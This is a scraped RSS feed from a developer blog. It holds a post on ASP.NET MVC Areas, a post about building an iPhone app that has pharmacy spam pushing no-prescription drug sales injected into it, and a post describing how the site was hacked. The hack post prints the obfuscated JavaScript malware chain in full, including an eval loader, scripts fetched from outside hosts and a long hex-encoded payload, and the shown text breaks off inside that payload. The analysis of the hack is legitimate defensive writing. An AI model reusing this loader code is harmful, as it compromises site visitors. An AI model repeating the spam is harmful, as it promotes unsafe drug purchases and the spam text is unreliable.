<p>Also, if you leave Area name in the route, you will have a little more work to, here is what one of mine looked like:&#160; &lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;test1/TestArea&quot;) %&gt;.&#160; But it turns out this is more correct: </p>

<p>&lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;TestArea&quot;, new { area=&quot;Test1&quot;}, new {}) %&gt; </p>

<p>This also mean that any controller actions you want to link to outside if Area needs to include a blank area in the link, like this:</p>

<p>&lt;%=Html.ActionLink(&quot;Home&quot;, &quot;Index&quot;, &quot;Home&quot;, new { area=&quot;&quot;}, new {}) %&gt; </p>

<p></p>

<p></p>

<p>In case you are wondering, the first object in the area is for route values, the second is for html attributes.</p>

<p>So the downside of using Areas is that you could complicate your routing in a hurry.&#160; Plus it does not look like the Html helpers are there to lend you a hand either.&#160; It is very doable, just annoying.&#160; Of course, the easy fix is to remove the Area name from the route and move on.&#160; That should be ok so long as you do not have two controllers with the same name.</p>

<p>So are Areas a compelling feature? I think so.&#160; Plus, the larger the site, the more compelling Areas can become.&#160; For smaller sites, probably not.&#160; But I would not say no either.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>JQuery Validator Cheat Sheet</title>
		<link>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=so-what-was-i-thinking-anyway</link>
		<comments>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 01:26:28 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=4228</guid>
		<description><![CDATA[Aricept For Sale, Ever start a project just to learn something new. Aricept treatment,  But to do it, you have to have an app idea to throw around it, generic Aricept. Order Aricept online overnight delivery no prescription,  I had one of those.  I've been doing a wee bit of iOS development over the past [...]]]></description>
			<content:encoded><![CDATA[<p> <b>Aricept For Sale</b>, Ever start a project just to learn something new.  <b>Aricept treatment</b>,  But to do it, you have to have an app idea to throw around it, <b>generic Aricept</b>.  <b>Order Aricept online overnight delivery no prescription</b>,  I had one of those.  I've been doing a wee bit of iOS development over the past year, <b>Aricept class</b>, <b>Aricept pictures</b>, and I found I wanted to learn about iAds, in App Purchasing, <b>buy no prescription Aricept online</b>, <b>Online buy Aricept without a prescription</b>, talking between devices (via BlueTooth), and just get better at coding in general, <b>Aricept price</b>.  <b>Aricept forum</b>, I did just that.  I created an IPhone/IPad app called <a href="http://www.diamondbsoftware.com/index.php/agile-cards/">Agile Cards</a>, <b>Aricept For Sale</b>.  You can read up on it if you like, <b>cheap Aricept no rx</b>.  <b>Aricept trusted pharmacy reviews</b>,  Agile Cards is your basic card estimation app for the IPhone.  Real original, <b>effects of Aricept</b>, <b>Buy generic Aricept</b>, I know.  I think my competition is about a dozen other apps, <b>no prescription Aricept online</b>.  <b>Aricept For Sale</b>,  The only thing Agile Cards does that the others do not (that I know of) is use an IPad as a server.  <b>Buy Aricept online cod</b>,  This is optional of course.  So if you have several IPhones and an IPad you can have a digitally dynamic Scrum Estimation, <b>herbal Aricept</b>.  <b>About Aricept</b>, So what was I thinking.  I was thinking I needed practice, <b>Aricept coupon</b>.</p>
<p>I knew what I wanted to practice, so I thought up an app to do that with, <b>Aricept For Sale</b>.  <b>Buy Aricept without prescription</b>,  Now the great thing about the App Stores (for Apple, Android, <b>Aricept dosage</b>, <b>Aricept price, coupon</b>, and WinPhone 7), is that you can "easily" take these little apps that you are writing and sell them, <b>doses Aricept work</b>.  <b>Aricept maximum dosage</b>,  I've had dozens of apps that I've done for exactly the same purpose (to learn), but never had an easy route for selling them, <b>Aricept from canada</b>.  <b>Purchase Aricept for sale</b>,  And setting up an online store is just a big pain as far as I'm concerned.</p>
<p>But I put easily in quotes up there, <b>Aricept over the counter</b>.  <b>Aricept For Sale</b>,  There are a few caveats to my statement above.  <b>Aricept mg</b>,  I had a designer that wanted to do some more IPhone designing.  I've helped him with apps as well, <b>Aricept cost</b>, <b>Order Aricept from mexican pharmacy</b>, so he was happy to help out.  If  you are going to go onto an app store, <b>purchase Aricept</b>, <b>Comprar en línea Aricept, comprar Aricept baratos</b>, you will/should spend more time on user experience than you normally would, especially if you were just writing the app for yourself, <b>Aricept australia, uk, us, usa</b>.  <b>Where can i buy cheapest Aricept online</b>, There is also the hassle of dealing with the app store requirements.  You need icons, splash screens, verbiage (which I kind of suck at), a web site, screen shots, email addresses, etc, <b>Aricept For Sale</b>.  I even setup a Google Voice account for it, <b>Aricept steet value</b>.  <b>Aricept long term</b>,   All this for a free app.  (OK, <b>cheap Aricept</b>, <b>Real brand Aricept online</b>, there are ad, but free none the less), <b>order Aricept online c.o.d</b>.  <b>What is Aricept</b>, What was I thinking.  <b>Aricept For Sale</b>,  I was thinking I also needed the practice of finishing an app.</p>
<p>There is nothing wrong with starting an app and throwing it away, <b>Aricept gel, ointment, cream, pill, spray, continuous-release, extended-release</b>, or just stopping when you don't need to go any further.  You end up with a program with a few quirks (bugs) that never get fixed, but you are probably the only person using it anyway.  That is fine.  But every now and then you need to FINISH something.  By FINISH, I mean shipping quality, <b>Aricept For Sale</b>.  Shipping quality is hard btw.  It takes more time.  You need other people looking at things.</p>
<p>This is to remind you that software can be hard.  <b>Aricept For Sale</b>,  We deal with details, lots of them.  Selling software to other people means dealing with even more details.  It is good to do every now and then.  On your own.</p>
<p>So what was I thinking.   I thought it sounded like fun, <b>Aricept For Sale</b>.</p>
<p>And by fun, like running a marathon half prepared fun.  BTW: I never did get to the "In app purchasing" bit.   I guess that can be next time.  It was to remove the ads.  I never have released an app with every single feature I ever wanted in it.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4435'>Lipitor For Sale</a>. <a href='http://elegantcode.com/?p=4660'>Buy Lumigan Without Prescription</a>. <a href='http://elegantcode.com/?p=4337'>Vibramycin For Sale</a>. <a href='http://elegantcode.com/?p=4935'>Buy Aricept Without Prescription</a>. <a href='http://elegantcode.com/?p=4204'>Seroquel For Sale</a>. <a href='http://elegantcode.com/?p=4427'>Bactrim dose</a>. <a href='http://elegantcode.com/?p=4756'>Is Plavix safe</a>. <a href='http://elegantcode.com/?p=4426'>Lexapro without prescription</a>. <a href='http://elegantcode.com/?p=4587'>Where can i order Pristiq without prescription</a>. <a href='http://elegantcode.com/?p=4190'>Online Allopurinol without a prescription</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=581'>Aricept For Sale</a>. <a href='http://4realz.net/?p=1491'>Aricept For Sale</a>. <a href='http://www.leaduganda.org/?p=468'>Aricept For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6291'>Aricept For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3626'>Aricept For Sale</a>. <a href='http://social-blend.com/?p=1085'>Aricept reviews</a>. <a href='http://blog.farmland.org/?p=3058'>Purchase Aricept for sale</a>. <a href='http://reversemortgagedaily.com/?p=14779'>Aricept dosage</a>. <a href='http://linuxologist.com/?p=395'>Purchase Aricept online no prescription</a>. <a href='http://home.officesnapshots.com/?p=167'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Elegant Code &#187; Chris Brandsma</title>
	<atom:link href="http://elegantcode.com/author/brandsma/feed/" rel="self" type="application/rss+xml" />
	<link>http://elegantcode.com</link>
	<description></description>
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Flagyl For Sale</title>
		<link>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=getting-hacked-and-seven-levels-of-indirection</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Flagyl For Sale</b>, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>  <p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>  <p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>  <div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">   <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">     <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>  </div></div></p>
<p><p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>  </div></div></p>
<p><p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p></p>
<p><p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">function</span> aAwJinPSCPg() { <span style="color: #0000ff">var</span> moqbqYo = <span style="color: #006080">'\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x53\x5a\x67\x6b\x6f\x6b\x5f\x52\x62\x59\x49\x55\x55\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x58\x70\x6a\x53\x25\x33\x41\x31\x31\x4a\x2e\x6a\x52\x57\x55\x58\x66\x71\x6b\x6b\x56\x71\x2e\x59\x53\x4f\x6e\x79\x74\x35\x78\x6b\x73\x76\x73\x72\x6a\x5a\x62\x31\x54\x57\x31\x75\x55\x25\x32\x42\x78\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x55\x55\x66\x56\x69\x52\x5f\x66\x42\x71\x52\x6b\x6b\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x59\x73\x70\x54\x25\x33\x41\x6e\x6e\x54\x2e\x69\x70\x51\x57\x53\x65\x62\x65\x52\x61\x53\x2e\x58\x66\x69\x38\x79\x75\x38\x33\x6d\x65\x6c\x32\x71\x37\x76\x6c\x53\x52\x48\x30\x67\x30\x6d\x77\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x72\x58\x69\x25\x32\x30\x61\x72\x69\x5f\x56\x47\x52\x66\x68\x70\x5f\x5a\x44\x6c\x51\x56\x57\x44\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x49\x6f\x6b\x6c\x25\x33\x41\x38\x32\x54\x2e\x72\x70\x45\x56\x45\x66\x6b\x6a\x6a\x48\x68\x2e\x53\x56\x64\x6a\x33\x66\x77\x77\x34\x79\x73\x32\x7a\x37\x6b\x46\x44\x56\x75\x78\x77\x6a\x31\x72\x73\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x25\x32\x46\x6e\x25\x32\x30\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x50\x51\x43\x55\x55\x5a\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4b\x6a\x6a\x57\x25\x33\x41\x32\x6a\x59\x2e\x54\x6f\x52\x70\x5a\x66\x6c\x6d\x70\x49\x54\x2e\x45\x66\x63\x37\x78\x68\x72\x76\x70\x72\x64\x37\x62\x36\x56\x32\x59\x72\x78\x35\x34\x4a\x6e\x64\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x59\x56\x4e\x6b\x53\x6f\x5f\x63\x6b\x58\x55\x57\x5a\x65\x50\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x53\x2e\x69\x61\x52\x52\x59\x50\x70\x65\x70\x62\x69\x2e\x54\x6e\x69\x70\x6a\x67\x73\x76\x34\x72\x6d\x31\x71\x73\x77\x65\x57\x63\x58\x56\x7a\x36\x32\x73\x25\x32\x42\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x72\x45\x54\x25\x32\x30\x4c\x6a\x63\x5f\x68\x51\x45\x5f\x65\x64\x25\x30\x39\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x6b\x50\x71\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x57\x46\x5f\x43\x45\x54\x55\x6f\x69\x25\x30\x39\x25\x30\x39\x70\x25\x32\x30\x25\x32\x37\x58\x6a\x61\x67\x25\x33\x41\x6a\x37\x47\x67\x70\x62\x66\x6a\x59\x64\x6e\x57\x2e\x45\x4a\x32\x6d\x6c\x2d\x51\x47\x63\x59\x55\x32\x41\x4c\x42\x69\x56\x68\x55\x32\x5a\x6d\x5a\x49\x5a\x2e\x52\x59\x66\x25\x33\x46\x57\x53\x57\x59\x65\x55\x33\x51\x70\x42\x6f\x6a\x5f\x57\x5a\x54\x56\x72\x6f\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x5a\x43\x54\x25\x32\x30\x61\x69\x69\x5f\x62\x44\x52\x5f\x5a\x48\x6d\x25\x32\x46\x6b\x4f\x25\x30\x39\x25\x30\x39\x37\x25\x32\x30\x25\x32\x37\x59\x70\x71\x67\x25\x33\x41\x32\x25\x32\x42\x62\x50\x61\x48\x5a\x69\x64\x55\x55\x69\x2e\x53\x4f\x32\x55\x6c\x2d\x42\x59\x64\x65\x6b\x32\x54\x4f\x57\x52\x47\x4e\x4f\x31\x65\x64\x47\x55\x6e\x2e\x57\x59\x4e\x25\x33\x46\x57\x44\x6f\x5a\x6b\x6b\x33\x6a\x73\x57\x58\x55\x5f\x4c\x52\x6c\x57\x65\x51\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x4d\x56\x53\x5f\x66\x58\x6d\x52\x6e\x62\x4a\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x56\x62\x66\x57\x47\x6f\x49\x5a\x69\x6f\x2e\x5a\x59\x32\x76\x6c\x2d\x45\x46\x4f\x5a\x64\x37\x53\x35\x51\x64\x4c\x63\x38\x37\x4a\x69\x55\x61\x75\x2e\x67\x59\x6f\x25\x33\x46\x57\x47\x56\x4b\x66\x64\x38\x69\x57\x51\x6a\x5a\x5f\x61\x25\x32\x46\x72\x42\x6a\x57\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x73\x52\x69\x25\x32\x30\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x62\x6b\x51\x47\x55\x54\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x25\x32\x37\x59\x52\x70\x51\x25\x33\x41\x36\x32\x62\x69\x70\x57\x68\x6f\x4c\x47\x54\x6a\x2e\x53\x64\x31\x5a\x66\x2d\x51\x4b\x64\x47\x6a\x6d\x58\x47\x57\x6b\x56\x63\x57\x37\x4d\x50\x46\x56\x6e\x2e\x6c\x58\x53\x25\x33\x46\x51\x53\x61\x5a\x4d\x6a\x6e\x6e\x6b\x57\x71\x6a\x5f\x63\x6e\x57\x48\x47\x46\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x51\x6e\x25\x32\x30\x5a\x56\x63\x5f\x62\x48\x53\x5f\x4a\x6b\x42\x59\x57\x57\x66\x63\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x67\x70\x58\x52\x25\x33\x41\x6e\x32\x56\x68\x6f\x49\x59\x69\x4f\x56\x50\x6f\x2e\x44\x63\x32\x73\x6d\x2d\x52\x55\x6c\x65\x52\x6e\x45\x47\x51\x6a\x55\x4f\x4e\x31\x50\x65\x42\x61\x59\x2e\x6b\x59\x6c\x25\x33\x46\x58\x54\x6b\x68\x6b\x52\x6f\x55\x6b\x51\x70\x69\x5f\x4f\x65\x51\x4b\x57\x25\x32\x46\x65\x4d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x6b\x45\x46\x47\x55\x25\x30\x39\x25\x30\x39\x25\x30\x39\x32\x25\x32\x30\x62\x51\x4f\x69\x55\x25\x33\x42\x25\x30\x44\x25\x30\x41\x63\x52\x50\x25\x32\x30\x66\x54\x68\x5f\x52\x6c\x6d\x63\x56\x73\x5f\x65\x52\x46\x47\x6f\x25\x30\x39\x32\x25\x32\x30\x78\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x44\x68\x25\x32\x30\x5a\x5a\x64\x5f\x25\x32\x46\x6c\x51\x67\x56\x70\x5f\x5a\x66\x6c\x6d\x70\x25\x30\x39\x71\x25\x32\x30\x65\x63\x72\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x48\x67\x4e\x68\x46\x6f\x5f\x67\x6e\x62\x57\x5a\x77\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x64\x71\x6b\x67\x25\x33\x41\x25\x32\x42\x37\x45\x46\x58\x52\x64\x59\x55\x47\x67\x6b\x48\x63\x47\x70\x5a\x6e\x70\x6f\x71\x56\x64\x2e\x62\x6b\x51\x6e\x76\x56\x6a\x37\x39\x48\x6a\x2e\x66\x4f\x67\x25\x33\x46\x25\x32\x46\x38\x6d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6f\x6b\x54\x57\x50\x55\x55\x6e\x5f\x6b\x55\x62\x25\x30\x39\x32\x25\x32\x30\x25\x3